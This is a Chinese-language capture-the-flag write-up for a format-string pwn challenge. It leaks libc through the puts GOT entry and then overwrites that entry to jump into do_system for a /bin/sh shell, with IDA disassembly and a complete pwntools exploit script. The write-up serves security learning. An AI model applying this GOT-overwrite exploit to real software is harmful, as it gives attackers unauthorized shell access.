MCTF 人类的本质是什么?

介绍

这是MCTF的一道题目,貌似是浙警的校赛,不得不吐槽,这个服务器binary和给我们的不一样我是真的服气。(下面会有解释)

格式化字符串漏洞

格式化字符串的漏洞,虽然不常见,但是自己掌握的不咋滴,吐槽的时候顺便记录一下做的过程,不确定是不是非预期解。

ida反编译,很简单的一个四次格式化字符串漏洞,不过基本没有什么函数,也为之后的利用造成了一定困难。

%x %lx %llx 输出栈上的值

%s 任意地址读

%n %hn %hhn 可以任意地址写

$x 选定第几个参数,例如%9$s读第九个参数所指的值

%?c ?为一个十进制的数,配合%n使用

Stage 1 leak libc

首先,leak libc地址。读got表中的puts,可以直接算出libc地址。

Stage 2 改got表

然后,修改got表,尝试调用system。但是在这一步,出问题了。因为只有三个函数,read、put、printf,前两个参数不可控。所以打算改printf的,但是只能改一次。因为如果多次改,第二次调用printf直接就是坏的,用不了了。

1
2
3
[*] put_addr:    0x7f4bc464f690
[*] system_addr: 0x7f4bc4625390
[*] printf_addr: 0x7f4bc4635800

我们发现,printf一次不可能改成功,因为必须要用%n改,输出的字符长度为0xc4635800,基本没啥可能。

所以考虑其他方法,想了很久,最后想起来之前有一道题,也是不太好控制参数,所以直接跳到do_system中的一个位置,就会执行system("/bin/sh")了。

具体位置是在 do_system + 1059,ida见下面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:0000000000045243                 call    sigaction
.text:0000000000045248 lea rsi, unk_3C64C0
.text:000000000004524F xor edx, edx
.text:0000000000045251 mov edi, 3
.text:0000000000045256 call sigaction
.text:000000000004525B xor edx, edx
.text:000000000004525D mov rsi, r12
.text:0000000000045260 mov edi, 2
.text:0000000000045265 call sigprocmask
.text:000000000004526A mov rax, cs:environ_ptr_0
.text:0000000000045271 lea rdi, stringBinSh ; "/bin/sh"
.text:0000000000045278 lea rsi, [rsp+188h+var_158]
.text:000000000004527D mov cs:dword_3C64A0, 0
.text:0000000000045287 mov cs:dword_3C64A4, 0
.text:0000000000045291 mov rdx, [rax]
.text:0000000000045294 call execve
.text:0000000000045299 mov edi, 7Fh ; status
.text:000000000004529E call _exit

但是,你可能会想到,只能改一次,这个也做不到啊。但是幸运的是,你会发现puts和system的最低两位是一样的,所以只需要四个字节就可以了,这样puts就会被改成system了。接着运行会出现command not found但是没关系,程序不会crash。再修改一次,修改puts的最低四位,改到do_system里面,这样就可以了。

Stage 3 打远程

打远程,发现收不到字符串,一脸懵逼,怎么就卡在 Hhhh… 这里。仔细一看,我真的是服。

1
2
服务器: is the repeater.Hhhh...\n
本地: is a repeater. Hhhh...\n

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

# context.log_level = 'debug'

p = process('./pwn6.dms')
elf = ELF('./pwn6.dms')
libc = ELF('./libc-2.23.so')
# p = remote('123.206.131.120',10006)

# gdb.attach(p,'b * 0x4007c1')

# leak libc addr
p.recvuntil('of humanity?\n')
p.send('%9$s'.ljust(8,':') +p64(0x0000000000601018) )
# p.recvuntil('is the repeater.Hhhh...\n')
p.recvuntil('is a repeater. Hhhh...\n')

put_addr = u64(p.recv(6)+'\x00\x00')
p.info('put_addr: 0x%x'%put_addr)
offset = libc.symbols['puts'] - libc.symbols['system']
system_addr = put_addr - offset
p.info('system_addr: 0x%x'%system_addr)

# puts -> system
c = (system_addr >> 8) & 0xffff
p.info('c: 0x%x'%c)
p.send('%{}c%10$hn'.format(c).ljust(16,':') +p64(0x0000000000601018 + 1))
p.recvuntil('`')

# puts -> do_system + 1059
c = (system_addr & 0xffff)
p.info('c: 0x%x'%c)
c -= 333 # do_system + 1059
p.send('%{}c%10$hn'.format(c).ljust(16,':') +p64(0x0000000000601018))
p.recvuntil('`')
p.recvuntil('`')

p.interactive()